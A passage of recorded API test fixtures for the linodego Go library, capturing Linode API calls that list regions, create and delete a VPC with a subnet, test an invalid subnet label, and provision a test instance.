172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036163432025000","region":"es-mad","subnets":[{"label":"linodego-vpc-test-1700036164011068000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10250, "label": "go-test-vpc-1700036163432025000", "description": "", "region": "es-mad", "subnets": [{"id": 11094, "label": "linodego-vpc-test-1700036164011068000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"invalid_label"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10250/subnets/11094 method: PUT response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "104" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10250 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Subnet_WithInstance.yaml000066400000000000000000000763611455402072200327440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"es-mad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-2oa31wk8e5o7","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52001045, "label": "go-test-ins-wo-disk-2oa31wk8e5o7", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.233.111.201"], "ipv6": "1234::5678/128", "image": null, "region": "es-mad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "afc09e0e1675161707bcf1232af4d0b7ffe00c7a", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: 